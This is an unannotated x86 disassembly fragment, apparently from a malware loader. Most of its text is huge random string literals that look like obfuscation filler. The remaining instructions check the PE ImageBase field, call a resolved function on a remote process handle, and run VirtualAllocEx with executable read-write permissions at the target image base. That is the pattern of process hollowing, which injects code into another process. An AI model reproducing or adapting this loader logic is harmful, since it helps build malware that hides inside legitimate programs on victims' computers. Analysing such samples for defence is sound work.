mov dword [ebp - 0x8ec], str.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
push str._t4_if2
call fcn.00405bb0
add esp, 4
mov ecx, dword [ebp - 0x864]
mov edx, dword [ebp - 0x85c]
cmp edx, dword [ecx + 0x34]
jne 0x403117
mov byte [ebp - 0x85d], 1
jmp 0x40311e
mov byte [ebp - 0x85d], 0
mov al, byte [ebp - 0x85d]
mov byte [ebp - 0x87d], al
mov dword [ebp - 0x8b4], str.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
mov ecx, dword [ebp - 0x864]
mov edx, dword [ebp - 0x85c]
cmp edx, dword [ecx + 0x34]
jne 0x403196
mov dword [ebp - 0x8d4], str.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
mov dword [ebp - 0x884], 0
mov dword [ebp - 0x8bc], str.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
call fcn.00405a50
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x8e4], str.9oz43z8J545lJP8gLilYnWqGs0aiMjY5J5L9bxurxyhb1Kk75UT4vdVn83Mdz06Vf9LNe9foY4BZOoPRQdn1z4KFkxaiUq1HBv52A7561vKaFl8zdPVHeP2ezAMY3HoTsQT2bDzxes6fOaK9di984tDinJQaugctg1SYBgxKpyCVTXzzZNUUHqY8nKOCXzc7pM8XsWI7FQOnlymuU569kPLBSJWKbM7dEMP1eLUpkUi3ml364fyKV0cw7vWHbGd3SKSJTuqjlRZAGRpHPZP6nxsNKs3SYmnOQplLCunKZpzen6y4hugfFpO7A3NxJx69WS5b4m0E5e6FBXiU6ube3cLJd0sFLc61oeXEbxa4ELkBsiGMU2Bpw1fUgw7d3v22hfrwaNTIugKr2kq5cM5ndmHJgPIwUPoO91CUzyAUeh8IGqdrpEAajTO648vqtfFBiQZXzzZOllj6o8c0MqhqooFqmFZAcjA8LHA0Ap2ZOWY7KSS55FOcprYojssmuJ1krTnPaMmf4wuQq5FxQDnnIlGikCSLL6bALj8Orhb5f3e37h7nW4G1wNMgnfFH4KE8v3eh61gJBrhOgNkdFEYQAjd8rCk3IIarYgByOjqwqgFQPmlJr1mYwg0bAm0Yw6alJn7LRdIdhXedynKfqLLQvm4Spz7BtCatgtgCpK2otjRJbXNnMVIUutZxspwslQ7KBg81JMyKERSoiAGsUaTsWqDbKIEgU22h01VDDM1v26bc6tTrogKk6OXkM6rbhrZLZKxqOcZhjxAZoAfqYm2OrRkleL0Gv0nLXdvF7q2WNw9sMy972UxLW4oWGsHtoKsvblzssTxcGdVu7uGHtubhEVN3ZJ9OTJIceNqB8QOjxufSi3YlW993Il0pHGDTUSt7FSqt4sdTJ2P4uRlLUFkJFeS2Jje80XCg6v3hQRIJONDf46gW5KmkKlVIR4qVof3VzI88Xd4c7L42KM7McrcpKsGUJvAVBWvITSQw8i81AMi5MEC0e6kV28IrSqSr7rg9p9QfLX4PdqiFYX1InEnEPRvfX5VOZHjjFiQNYwoqcERM0dD4ykeDdLtHNKsPcp0Gg99PhnU0p7Ck4dqS099lQkfVmcVd2zpxroiBoEHu8RnUo6NS2eDqUClpLd7Um9fxL54Q5YDwCPn86uHqyclX68MYd2ZkGWi8M0jsb7WdKgXfomsrrACif09BflFz5DaUkU9UEN2wmIhcvbkSioF0FYeFCiNxxrdZinCR27ANHg6GT6feaWqQ7jovPDswaF85Es3iID0kX1tz2IWFcJwLzDb2hWrtYqfEtGCkz9ofjmyYtKcOIgUgMNwDmtApUFsPrQcTDABpLaEnfmJHUNVSF92Pj97fI9vN3SGNHskhPEEMjjx9U2EhUKjsT4eDbOay6WpxQMNoExfpHqJetCh6YcP9eZnCaKpK1xRnYXzTkejjJthCv9kJGeJ3gqt0zkn3hFykJvqFdyVU2GAVRUhaAQdXXXhIUpZ8FVxilGGpppycfcEm48v8lSbPwdBhJceUgCmiVRtfJviX6drCPC1W41WXTSWieyPmkO5NZwAmOpyZJnSsV9Cglr0oPzyd5laloODqpA5u4huQ5kY9RttJlScNttk8XJjFTwIMCIV6DQuUOEjbWN2tWixFM076p7Gu7Z6JLlGiHxgEyr8YjjmkRZSL8daMLYQGj9WZosMvkszPrPSTobe1bK0mHHY0nk9tGfHMuMdqpH6HMwSvD1ENjiNzarEQDViasgimhfzL8YMDOtKlZCwvPwkyBiMdhwWDz6pFoFnyJFNIS9tKhFwtsAMvXJ7uJzeTPY6UE2EqMTXb9HwNH2cTyI8uAE2hLe9jB324cIgpafRIMKwpnuWRxuvh0Mua9xOHTOKfPCK8WWSsOtRsonnHEsdL9EhzjYfBCUrtnn6vAB7l5c96FUe4QdJmpDjVznyAoQV4byear1hcv1Q6Fk3yTkVykfeUdl6mdG7pqf5gQdNY6H1x
mov eax, dword [ebp - 0x85c]
push eax
mov ecx, dword [0x447644]
push ecx
call dword [ebp - 0x884]
mov dword [ebp - 0x8c4], str.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
mov dword [ebp - 0x898], str.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
call dword [sym.imp.KERNEL32.dll_GetLastError]
add eax, str._t4_if3
push eax
call fcn.00405bb0
add esp, 4
mov dword [ebp - 0x870], 0
push 0x40
push 0x3000
mov edx, dword [ebp - 0x864]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x864]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x8a0], str.DxNKS44RjHikhoMFUCQAPlvBD5Vh9LOfXS1cogwo6TwVxtPzBxbKwX3scmhXiXSI2cxywJrOgBE5YJekqvPLJeTaZJac9JgjbY3uYSbnQYOfJ6ErQNDabtB1GVuYENyZnoT2z9LS2e34ltH8lEecrIhH4zIcxmTdzZ1vnM2QcUh7zGPnovMaIwHOhl7aBIvPv0EwCmVJkXz2LrOy8gaGoZyQey9LgbM7KVE9JvSKrglZxMuDRWC9nazpuBibarKjlCsZXPZMyzohNIsBeG3uIMTKvpOhmQKaFbO5uEQc7ZLYSiZ9MU7E3hIUc8g75GbbaUGFFU4hWwUWSpRfY7kF5lWKHXYwIFCrqid7LtD100RGxVcXqai8vGgY858S6HIr4DGJmUEFEtOfEpnW6KkMTuoHVKuF02lHWpAQoMJmnTcvIbJQrrsF2sNT7iJ4AG48MvO3lcRua7z9r29TaOnIKPPDMRTgdPWQZeTmxQFpJ8F42NBeiZ3VTXpjklZACqi6mI4xgIP8wiu7DYdT3F0B9G1aeniZkitdOAu2ShQNXgLLDsQwifG7AR7QQ3t3AZYoYqsdElbWZmN25qHWHWReMwN7VIynZBHMzNRC9RjLLDYifS87JkW6d6ojGQRheNTET6zWPUyrIVNxI41dJAOOOLJCyI6s9cG8TtzjslsZWEyrs1KLYOHN8fZhw6yhIsPdUWQNvxG4p0OzmwE0Ge3lqFxFTETZ4r3mIjXejuLlrvn3btpypIpDzEXpyk41OQ986C1cJAQlDR44sEEzouKwbAWdwIQ9AUHKWffK5YJIzzmCGK1wNBEaSm4XkZMsswSJeqpaHl0m13lqoESLTsIDXfqKkrzgmrpcQNxqv1YBKsjZbOJQhaI9YoV89OZqVU9JNiJKBxvDedrcOLfW9mCILvlIP9TRMmGBuy8ihntUq1ZJqczE9Lelx72RWQtCNO02HZSqN7PV3RrUFMrNJoRbhuewGqvA31hMa7cBuj1ceGOlM8xFag1PHsCrDsyiWwhFHrbDrhukJaiXjrjQz7kuuWMxBoNMyDpSziOv73n3VRfHjPiliSTZlWlUONcdDSVgUzyaNYTFUrJNHa3yHd0l3X2OomYDv843BtDoLsQLA43pDCj9TBWDtBY7AHHHCLKvT59oGPWoxpV84NkVdZU4mAKaFGYeVjiYtIFHC4CePHgdQZdXDf7itPd3NVQqwhoZX